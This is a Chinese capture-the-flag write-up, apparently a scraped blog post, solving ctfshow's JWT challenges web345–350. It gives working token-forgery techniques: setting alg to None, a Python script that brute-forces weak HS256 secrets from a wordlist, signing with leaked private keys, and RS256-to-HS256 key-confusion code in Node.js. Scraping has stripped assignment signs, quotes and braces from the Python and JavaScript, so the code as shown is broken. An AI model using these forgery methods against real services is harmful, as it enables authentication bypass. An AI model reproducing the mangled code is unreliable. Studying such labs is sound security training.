栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

【CTFSHOW】web入门 JWT

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

【CTFSHOW】web入门 JWT

写在前面

陇剑杯初赛出了JWT专题的赛题 被同队大佬ak了 一直不太懂 来刷刷

JWT浅析

JWT即JSON WEB TOKEN 由三个部分组成 并用两个“.”进行连接。第一部分为header base64加密 第二部分为payload base64加密 第三部分为verify signature 它的构成如下

HEADER中alg对应的加密方式为HS256 也可以选择其他对称或非对称的加密方式 大同小异。

PAYLOAD中一般包括用户信息。

Verify Signature中包括加密的密码。

JWT本质上是一种校验值 用来验证身份和数据是否被更改。

web345

查看源码得到hint

/admin/

flag应该就在这。

抓包

其中auth也就是JWT的值为

auth eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2MzI2MjI1ODksImV4cCI6MTYzMjYyOTc4OSwibmJmIjoxNjMyNjIyNTg5LCJzdWIiOiJ1c2VyIiwianRpIjoiZDNlYjRlZTgyMThjMmNmZTVlMGQxMjM5MjNlNDc0M2EifV0

用.将值分开并进行base64解密 得到

{ alg : None , typ : jwt }
[{ iss : admin , iat :1632622589, exp :1632629789, nbf :1632622589, sub : user , jti : d3eb4ee8218c2cfe5e0d123923e4743a }]

[{ iss : admin , iat :1632622589, exp :1632629789, nbf :1632622589, sub : user , jti : d3eb4ee8218c2cfe5e0d123923e4743a }]

改为

[{ sub : admin }]

并进行base64加密 然后与

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0

进行拼接得到

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0A.W3sic3ViIjoiYWRtaW4ifV0

将auth参数的值修改并访问/admin/得到flag

web346

抓包得到

auth eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMjYyNjc4MiwiZXhwIjoxNjMyNjMzOTgyLCJuYmYiOjE2MzI2MjY3ODIsInN1YiI6InVzZXIiLCJqdGkiOiJiZTNmOGIyNTk5MDgxMWQzZmQ5NDAxODA0ZTgzNDI2MSJ9.ZYm_-gnvPWCZq8MSY0tB741URv13s34THxtOrcf-nE4

使用https://jwt.io/解密得到

可以看到使用了加密算法HS256 我们可以把它设置为“None” 再把sub对应的值改为admin

{ alg : None , typ : JWT }.{
 iss : admin ,
 iat :1632635621,
 exp :1632642821,
 nbf :1632635621,
 sub : admin ,
 jti : 0a3fac5da5f0db3addcabaf6c8babc2a 

使用python的jwt进行加密

import jwt
# payload
token_dict {
 iss : admin ,
 iat :1632635621,
 exp :1632642821,
 nbf :1632635621,
 sub : admin ,
 jti : 0a3fac5da5f0db3addcabaf6c8babc2a 
# headers
headers {
 alg : None ,
 typ : JWT 
jwt_token jwt.encode(token_dict, key ,headers headers, algorithm none ,) 
print(jwt_token)

运行得到auth的值

eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMjYzNTYyMSwiZXhwIjoxNjMyNjQyODIxLCJuYmYiOjE2MzI2MzU2MjEsInN1YiI6ImFkbWluIiwianRpIjoiMGEzZmFjNWRhNWYwZGIzYWRkY2FiYWY2YzhiYWJjMmEifQ

以上的方法个人实测时发现没反应 个人是猜密钥为123456来访问/admin/得到的flag2333

至于为什么是123456 群主的回答是 “靠经验啊 猜呀”。

不扯了 正经方式是用python脚本爆破

首先使用pydictor生成1-6位爆破字典

python ./pydictor.py -base d --len 1 6 -o nums1_6.txt

写python脚本爆破得到密码

import jwt
import json
def runblasting(path,jwt_str,alg):
 if alg none :
 alg HS256 
 with open(path,encoding utf-8 ) as f:
 for line in f:
 key_ line.strip()
 print( use key_)
 try:
 jwt.decode(jwt_str,verify True,key key_,algorithms alg)
 print( found key! -- key_)
 break
 except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,jwt.exceptions.InvalidIssuedAtError):
 print( found key! -- key_)
 break
 except(jwt.exceptions.InvalidSignatureError):
 continue
 else:
 print( key not found! )
if __name__ __main__ :
 path ./nums1_6.txt 
 jwt_str eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMjY2NzAxMywiZXhwIjoxNjMyNjc0MjEzLCJuYmYiOjE2MzI2NjcwMTMsInN1YiI6InVzZXIiLCJqdGkiOiIyNzM3NjJhOWU1NjZhMmIzNDJhYjUxN2VjNDNiOWY5YSJ9.4sf78nrf_g84F9m0Bpgbvn8fC1YkECCFZPd5U9tULYg 
 alg HS256 
 runblasting(path,jwt_str,alg)

爆破结果如下

web347

抓包 访问jwt.io解密 猜弱口令为”123456“

抓包访问/admin/即可

web348

生成1-4位的数字和小写字母组合的字典

python ./pydictor.py -base dL --len 1 4 -o chars1_4.txt

师傅们可以自己跑一下嗷

将跑出来的密码放到jwt.io里解密加密一下 放入auth里再访问/admin/即可。

web349

下载的app.js

router.get( / , function(req, res, next) {
 res.type( html );
 var privateKey fs.readFileSync(process.cwd() //public//private.key );
 var token jwt.sign({ user: user }, privateKey, { algorithm: RS256 });
 res.cookie( auth ,token);
 res.end( where is flag? );
router.post( / ,function(req,res,next){
 var flag flag_here ;
 res.type( html );
 var auth req.cookies.auth;
 var cert fs.readFileSync(process.cwd() //public/public.key ); // get public key
 jwt.verify(auth, cert, function(err, decoded) {
 if(decoded.user admin ){
 res.end(flag);
 }else{
 res.end( you are not admin );

我们可以发现服务器目录下存在private.key和public.key 直接下载 然后将application中的auth复制到jwt.io中 将payload中的user改为admin 把私钥和公钥复制进Verify Signature即可得到我们需要的auth的值。

修改auth后 由于app.js要求post 使用post方式直接访问题目链接即可

这题也可以搭建nodejs环境 将app.js中的user改为admin 并传入题目私钥也可生成需要的auth值 不过需要安装jade、http-errors等包

具体的可以看报错

访问127.0.0.1:3000 express默认端口为3000 即可。

web350

本题采用这个原理

如果将算法从RS256改为HS256 则后端代码将使用公钥作为密钥 然后使用HS256算法验证签名。

访问public.key可以获取公钥 但无法获取私钥 我们把算法改为HS256 这样就可以破解jwt了。

直接使用羽师傅的js代码生成jwt即可

const jwt require( jsonwebtoken );
var fs require( fs );
var privateKey fs.readFileSync( 350public.key );
var token jwt.sign({ user: admin }, privateKey, { algorithm: HS256 });
console.log(token)

不过需要注意 我们使用的jwt的版本要与源码中的一致

参考资料

JSON Web Token (JWT) 攻击技巧

CTFSHOW jwt篇

B站BV号 BV1vU4y187HE

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/267912.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号